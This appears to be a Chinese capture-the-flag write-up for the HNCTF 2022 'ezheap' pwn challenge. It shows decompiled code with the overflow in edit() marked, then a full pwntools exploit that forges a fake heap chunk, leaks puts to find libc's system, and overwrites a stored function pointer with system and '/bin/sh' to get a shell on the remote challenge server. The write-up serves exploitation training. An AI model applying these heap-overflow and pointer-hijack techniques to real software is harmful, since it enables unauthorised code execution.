首页 > 其他分享 >[HNCTF 2022 WEEK4]ezheap

[HNCTF 2022 WEEK4]ezheap

时间:2024-04-28 15:23:06浏览次数:13  
标签:lib puts idx HNCTF ezheap io sendlineafter 2022 addr

[HNCTF 2022 WEEK4]ezheap

Off-By-One|堆溢出|leak_libc

[*] '/home/bamuwe/ezheap/ezheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

$checksec ./ezheap

Easy Note.
1.Add.
2.Delete.
3.Show.
4.Edit.
Choice:

运行截图

int add()
{
  __int64 v0; // rbx
  __int64 v1; // rax
  int v3; // [rsp+0h] [rbp-20h]
  signed int v4; // [rsp+4h] [rbp-1Ch]

  puts("Input your idx:");
  v3 = getnum();
  puts("Size:");
  v4 = getnum();
  if ( v4 > 0x100 )
  {
    LODWORD(v1) = puts("Invalid!");
  }
  else
  {
    heaplist[v3] = malloc(0x20uLL);
    if ( !heaplist[v3] )
    {
      puts("Malloc Error!");
      exit(1);
    }
    v0 = heaplist[v3];
    *(v0 + 16) = malloc(v4);
    *(heaplist[v3] + 32LL) = &puts;             // 预存的puts()地址,考虑泄露/更改
    if ( !*(heaplist[v3] + 16LL) )
    {
      puts("Malloc Error!");
      exit(1);
    }
    sizelist[v3] = v4;
    puts("Name: ");
    if ( !read(0, heaplist[v3], 0x10uLL) )	//限制name堆块只能输入0x10
    {
      puts("Something error!");
      exit(1);
    }
    puts("Content:");
    if ( !read(0, *(heaplist[v3] + 16LL), sizelist[v3]) )
    {
      puts("Error!");
      exit(1);
    }
    puts("Done!");
    v1 = heaplist[v3];
    *(v1 + 24) = 1;
  }
  return v1;
}

漏洞函数1_add()

__int64 show()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( v1 <= 0xF && heaplist[v1] )
  {
    (*(heaplist[v1] + 32LL))(heaplist[v1]);		//通过调用堆上预存的puts()地址实现输出打印
    return (*(heaplist[v1] + 32LL))(*(heaplist[v1] + 16LL));
  }
  else
  {
    puts("Error idx!");
    return 0LL;
  }
}

漏洞函数2_show()

ssize_t edit()
{
  unsigned int v1; // [rsp+8h] [rbp-8h]
  unsigned int nbytes; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  puts("Size:");
  nbytes = getnum();
  if ( v1 <= 0x10 && heaplist[v1] && nbytes <= 0x100 )	// 只做了<=0x100的限制,可以溢出
    return read(0, *(heaplist[v1] + 16LL), nbytes);
  puts("Error idx!");
  return 0LL;
}

漏洞函数3_edit()

def add(idx,size,name,text):
    io.sendlineafter(b'Choice: \n',b'1')    
    io.sendlineafter(b'idx:\n',str(idx))
    io.sendlineafter(b'Size:\n',str(int(size)))
    io.sendlineafter(b'Name: \n',str(name))
    io.sendafter(b'Content:\n',text)
    
def free(idx):
    io.sendlineafter(b'Choice: \n',b'2')
    io.sendlineafter(b'idx:\n',str(idx))
    
def show(idx):
    io.sendlineafter(b'Choice: \n',b'3')    
    io.sendlineafter(b'idx:\n',str(idx))
    
def edit(idx,size,text):
    io.sendlineafter(b'Choice: \n',b'4')
    io.sendlineafter(b'idx:\n',str(idx))
    io.sendlineafter(b'Size:\n',str(int(size)))
    io.send(text)

交互函数

程序逻辑:

  1. add()时会添加两个chunkchunk1存贮name,正文chunkputs()的地址,即0x0a27656d616e2762(name)0x0000561b7af6c0400x00007f483b7215d0(puts_addr)chunk2存贮text

    image-20240428142620769

  2. show()会调用chunk1中预存的puts()构造puts(chunk2_addr)实现打印输出

    image-20240428143340351

利用思路:

  1. edit()宽松的输入检测,可以更改堆块大小,构造fake_chunk

    add(0,0x18,b'0'*0x10,b'0000')
    add(1,0x10,'1111',b'1111')
    add(2,0x10,'2222',b'2222')
    
    edit(0,0x20,b'A'*0x18+p8(0x81))
    show(0)
    free(1)
    

    image-20240428144611332

    成功构造出fake_chunk

  2. 可以构造堆溢出,溢出\x00截断,填充并泄露puts()的地址

    add(4,0x70,'4444',b'4'*(0x20-1)+b'-')			#申请回fake_chunk,填充堆空间,添加标志位
    show(4)											#查看堆上内容
    io.recvuntil(b'-')
    puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
    # lib = LibcSearcher('puts',puts_addr)			#remote
    lib_base = puts_addr-lib.sym['puts']
    sys_addr = lib_base+lib.sym['system']
    # lib_base = puts_addr-lib.dump('puts')
    # sys_addr = lib_base+lib.dump('system')
    success('&system=>{}'.format(hex(sys_addr)))
    success('&puts=>{}'.format(hex(puts_addr)))
    

    image-20240428151019745

  3. 通过edit()修改,利用堆溢出修改其他chunk

    edit(4,0x100,b'a'*0x40+p64(0)+p64(0x31)+b'/bin/sh\x00'+p64(0)*2+p64(0x1)+p64(sys_addr))
    

    image-20240428151224698

    修改后,可以与上面比较一下

4.利用show()得到shell

show(2)

exp:

#Ubuntu GLIBC 2.23-0ubuntu11.3

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
elf = ELF('./ezheap')
# io = gdb.debug('./ezheap')
io = remote('node5.anna.nssctf.cn',26829)
# lib = ELF('/home/bamuwe/pwn_tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6')
def add(idx,size,name,text):
    io.sendlineafter(b'Choice: \n',b'1')    
    io.sendlineafter(b'idx:\n',str(idx))
    io.sendlineafter(b'Size:\n',str(int(size)))
    io.sendlineafter(b'Name: \n',str(name))
    io.sendafter(b'Content:\n',text)
    
def free(idx):
    io.sendlineafter(b'Choice: \n',b'2')
    io.sendlineafter(b'idx:\n',str(idx))
    
def show(idx):
    io.sendlineafter(b'Choice: \n',b'3')    
    io.sendlineafter(b'idx:\n',str(idx))
    
def edit(idx,size,text):
    io.sendlineafter(b'Choice: \n',b'4')
    io.sendlineafter(b'idx:\n',str(idx))
    io.sendlineafter(b'Size:\n',str(int(size)))
    io.send(text)

add(0,0x18,b'0'*0x10,b'0000')
add(1,0x10,'1111',b'1111')
add(2,0x10,'2222',b'2222')

edit(0,0x20,b'A'*0x18+p8(0x81))
show(0)
free(1)
add(4,0x70,'4444',b'4'*(0x20-1)+b'-')
show(4)
io.recvuntil(b'-')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
lib = LibcSearcher('puts',puts_addr)
lib_base = puts_addr-lib.dump('puts')
sys_addr = lib_base+lib.dump('system')
success('&system=>{}'.format(hex(sys_addr)))
success('&puts=>{}'.format(hex(puts_addr)))

edit(4,0x100,b'a'*0x40+p64(0)+p64(0x31)+b'/bin/sh\x00'+p64(0)*2+p64(0x1)+p64(sys_addr))
show(2)

io.interactive()

标签:lib,puts,idx,HNCTF,ezheap,io,sendlineafter,2022,addr
From: https://www.cnblogs.com/bamuwe/p/18163800

相关文章

  • cf 393017C 石头剪刀布 Metacamp2022-onlineA-dev
     Problem-C-Codeforces 五维的DPg[i][D][r][s][p]i:到了第i个位置D:最后有D个点放在后面r,s,p:已经选择了r,s,p个石头,剪刀,布放到后面 四维的DPf[i][D][r][s][p]i:到了第i个位置D:目前有D个点放在后面r,s,p:已经选择了r,s,p个石头,剪刀,布放到后面其......
  • P8866 [NOIP2022] 喵了个喵
    P8866[NOIP2022]喵了个喵构造模拟题,思路很简洁,但是代码不好写。首先看到数据范围,发现\(k\)的数据范围很特殊,种类少一种就是部分分,所以\(k\)一定是关键的,先思考\(k=2n-2\)的情况。\(k=2n-2\)观察两种操作,对于即将进入的牌\(x\),若某个栈顶或栈底有相同的\(x\),我们都可......
  • 2022ccpc题解
    2023年第五届河南省CCPC大学生程序设计竞赛ProblemA.Mocha上小班啦思路:求n个数位的最小值,条件:每一位数字都不同切不含前导零。只需要把0放到第二位,其他按从小到大输出,大于10以后输出-1即可。#include<bits/stdc++.h>usingnamespacestd;intmain(){//预处......
  • The 2022 ICPC Asia Xian Regional Contest / ICPC 西安 2022 (ABDHJKL)
    本文搬运自本人的知乎文章。https://zhuanlan.zhihu.com/p/588162564好久没有在补题之后写题解的习惯了。但是最近感觉有些题目的思路即使在题目通过后仍然难以理清,因此觉得需要写些东西帮助自己整理思路,另外也方便以后翻看积累到的技巧。J.StrangeSum题目链接Problem-J......
  • 2022 China Collegiate Programming Contest (CCPC) Mianyang | 2022 CCPC 绵阳(MAED
    搬运自本人知乎文章。https://zhuanlan.zhihu.com/p/588646549M.Rock-Paper-ScissorsPyramid题目链接Problem-M-Codeforces题意有一个长度为\(n\)的石头剪刀布序列,每个元素是RPS(石头、布、剪刀)中的一个,我们需要用这个序列构造一个三角,三角的底层为这个序列,第\(i(......
  • The 2022 ICPC Asia Xian Regional Contest
    The2022ICPCAsiaXianRegionalContestJ.StrangeSum题意:给定n个数,选定最多不超过两个数字的和的最大值思路:签到voidsolve(){lln;cin>>n;vector<ll>a(n+1);for(inti=1;i<=n;i++)cin>>a[i];llans=0;sort(a.begin()......
  • winform打包成安装包文件 vs2022
    项目目录里生成的exe文件,放到其他人电脑上用不了,网上找了下打包的文章,写下来以备以后再次使用1.直接右键点击项目的发布,发布的是本地安装模式。如果需要在其他电脑上安装,需要安装一个微软官方的扩展包才可以2.点击菜单栏-扩展-管理扩展 2.安装VisualStudioInstallerProjec......
  • 洛谷 P8818 [CSP-S 2022] 策略游戏
    https://www.luogu.com.cn/problem/P8818什么玩意儿。。这种策略题不就是你来我往的,你如果选那个我就选这个,到了最后俩人都做不了决策,一直在博弈吗放个示例跑不过去的代码真不想调,这种题就是恶心啊,你说说怎么调呢针对一方的选择,另一方总能选出更优的策略来。然后这一方针对另......
  • Windows Server 2022 OVF, updated Apr 2024 (sysin) - VMware 虚拟机模板
    WindowsServer2022OVF,updatedApr2024(sysin)-VMware虚拟机模板2024年4月版本更新,现在自动运行sysprep,支持ESXiHostClient部署请访问原文链接:WindowsServer2022OVF,updatedApr2024(sysin)-VMware虚拟机模板,查看最新版。原创作品,转载请保留出处。作......
  • Windows Server 2022 中文版、英文版下载 (updated Apr 2024)
    WindowsServer2022中文版、英文版下载(updatedApr2024)WindowsServer2022正式版,x64请访问原文链接:WindowsServer2022中文版、英文版下载(updatedApr2024),查看最新版。原创作品,转载请保留出处。作者主页:sysin.org此次发布更新了什么?答:版本号,当然还有…2021.09......